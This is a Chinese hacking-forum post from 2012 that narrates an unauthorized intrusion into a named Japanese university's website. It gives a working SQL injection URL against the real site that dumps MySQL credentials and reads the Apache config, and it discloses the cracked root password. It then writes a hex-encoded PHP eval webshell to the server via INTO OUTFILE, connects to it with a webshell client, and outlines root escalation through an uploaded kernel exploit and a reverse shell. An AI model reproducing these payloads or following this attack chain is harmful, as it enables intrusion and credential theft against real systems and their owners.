找回密码
 立即注册
查看: 3640|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
: F8 g+ I0 o% ^$ E; ?0 B5 E0 Q
' X  ]7 h0 E- r9 K6 R+ lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-14 u, ?1 _$ F3 v: X
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:# w+ T+ L2 b2 i; n3 A

8 R$ P3 v4 b# Y, ~* Khttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
) V# Y/ H7 r) k7 g# g* v9 w- Y. c- e1 U# k9 h
; ?' m: ~, A: ~$ `7 q+ p7 f
+ z8 W* \5 ?; ?
//@@datadir为数据库文件路径
5 G0 R' q: ^8 h/ o " }. n& i) e! R. G1 k
0 @- {; i1 J) l8 P$ C% ?1 z
//load_file读取网站容器apache的配置文件
: b% X4 Z5 Z2 B. X
. A3 j: B9 |) d; z0 e
* T. W& y9 F7 V5 W* x4 {//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
4 b  Z7 e; K7 [$ U" _5 S复制代码% d: J( v) X" Z% R# k

" X9 H6 v- `' c$ U! e* z4 o虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
% G1 a; X. p7 O6 j) X1 x
: o* J6 s  V$ e8 u  u而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
8 u* I1 J/ _2 c* k(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
% i+ g2 c% v4 {2 n) M
% j  D" ^, w$ w8 d3 |前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。6 d3 E5 T8 `: E0 j0 D9 G- h
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
- x$ n1 o0 V/ O
. Y0 m2 L' [' S* u- t7 b既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
: q0 q6 G+ c. A3 q% v/ W( M虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
, z8 d# a& Q- M- w$ F直接写一句话:% ]& S1 J9 r* M9 g0 ~" I$ z$ O4 |

# g  k, J7 |& Whttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#/ s3 w' s3 c" ~: v, A- z

0 z, C) a3 N' G5 A   g& h$ S$ h/ w  E" _3 F

# C' a; R' P4 ^1 P//最后的#是为了闭合前面的语句
- V  k# n4 c8 x9 z# R % C# O) x) \  A  E$ r
  e; T' |! Z2 ^% o# h6 A
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
3 S5 s; b( t, a9 x# M
) _8 E! F  V: y2 p( j6 m
/ F! J5 \7 H8 ?+ m* R0 g为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ : g( t0 z6 B! C7 |! }! F
4 D7 r* \5 V0 [( k0 @
! L( K3 W. n1 H+ w
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ( Q1 O- T- ]9 L# E/ w& f( f

/ l5 x& w' `3 J2 B0 T# P# E3 T& Q( R" g6 }6 n4 e
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
7 N" `! W* n+ x2 r//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
% Q5 Q" K! Q( o& Q9 B2 m. G2 @7 a复制代码- U4 f' V! e# F5 c& f9 i3 J+ T

# \  P, ?3 J& D2 B0 ?HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
$ H  Q1 n% }8 m! W+ Y( B1 ^" N通过上述注入语句,我们就得到了一句话木马:" P0 V' E- D, o9 _8 h% m

, x. x) i4 p4 B6 X7 t& l 1 G* O+ a$ t2 p# k. }

' }! `& S5 d9 o: f1 @
3 h0 U$ x; i" R/ \: o+ n- t+ I+ x; Z# e. N& @" T
http://www.doshisha.ac.jp/english/engnews_img/aa.php 9 c7 o) E& k- |0 i$ Z- r
复制代码
4 Q7 c( ^2 o" E3 W
2 f1 L) A7 A! ?/ H0 F1 r6 h/ Q5 ?用菜刀连接,密码是cmd,如图所示:
6 w( e/ t( |1 Z. Z# j( W& N然后在命令提示行里看了一下,现在的权限是:
$ u- C* h; f9 j9 q- k5 X  X* L! `, \( e3 J  Q
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
" Q% t3 B  j0 q, E  `2 T8 [) w! G5 o好在赋权给这个文件夹不需要root,直接执行赋权语句:1 h+ C, `% ]6 U6 R' f8 t" e" v
0 H; o- F" i% U6 ~) R+ ^$ p

, ?, j9 o0 K; i8 B
+ Q, T3 a( A" R
2 M8 a+ O+ T, }. Z
# @. E1 H' C6 J. `7 q# O0 t/ l& @chmod +x /tmp/ ( U  v! Y2 D: O- X( ^1 Q% A9 M
复制代码
# m$ b! w7 S* z) }* v- O/ V
! s* Q' m3 k+ ~/ W在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行0 i6 t  w# \- y/ |6 t
然后就查了一下内核版本:6 z! c" t2 q4 W" T3 j5 k0 e

! Z. {5 T6 y5 g
: q+ P+ }" y8 v3 `7 z
- V. g8 D/ S5 f* x4 o- R8 b' y
; w$ N9 Q. c7 c# w/ _# |' k/ {. T8 c  B$ @. D7 V3 m; G
uname-a # F+ L* a5 R4 Q# Z" x8 ]& K% u
( e% y( B7 f' V/ X7 i" Z

  d( |2 _! u$ w- ~" k3 Y3 u5 C' K6 F//其实lsb_release -a
8 Z! ^6 D$ z" Y复制代码
+ O5 }7 @& N: a. l+ c3 Y0 w
8 Y7 o) k6 O4 p' O0 L& B6 Z8 m如图所示:. p4 h3 I5 _7 `/ a/ u: Z
- G% t. l. h% k6 U4 c( E3 P$ ~
内核版本:linux mainz1 2.6.28-194.e15
9 b- H- X+ Z+ a7 @* I5 @& r, B系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)! }1 {( b) R$ P6 h! n( y
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹- C4 Z0 x  E6 h5 O# D* |

- K7 p0 g( r' s) E! y* P5 p" @然后给予执行权限
) m; m0 e6 N5 p# B6 n) U) _+ m) h一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样. h+ ]1 b- n2 p- {+ U. x: T) a

; I% ^* V7 r/ {/ s6 s/ |
( X" |* g, |' Y8 D2 S/ ~% W; [+ n- A* Q6 a& E

: _- r- @$ m6 B
7 A' ]! J) y  n5 }, o3 t8 U2 X! {chmod +x /tmp/2.6.18-194
7 q+ N1 Q; l9 m; _& m2 Y2 ~复制代码 然后直接执行!~% k8 w# r2 _1 n% J4 |9 W
6 Y2 A! O- D! ^3 k  y7 ~
总结:/ p8 H9 C( L& a+ u3 w4 V. S9 j
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了7 v  O# H* J9 Q: p" A" }6 z
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root0 [! [8 b" Y. a6 I
: x$ [: K( A: q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表